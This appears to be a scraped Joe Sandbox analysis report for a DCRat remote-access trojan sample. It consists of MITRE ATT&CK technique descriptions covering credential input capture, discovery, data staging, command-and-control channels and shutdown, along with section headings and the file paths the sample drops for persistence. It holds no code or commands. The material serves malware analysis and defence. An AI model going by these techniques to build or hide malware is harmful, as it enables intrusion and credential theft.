Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UNFOT5F1qt.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\e7d19d53a5ec77aafa68c9a929149b118506bb42

C:\ProgramData\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UNFOT5F1qt.exe_ddd5a359bec083eb107768e4877ccc21165f677_cc66c665_ceb690cb-b08c-4efe-b12a-db7df9fee6b4\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2082.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER244C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER24CA.tmp.xml

C:\ProgramData\e7d19d53a5ec77aafa68c9a929149b118506bb42

C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

Windows Analysis Report
UNFOT5F1qt.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre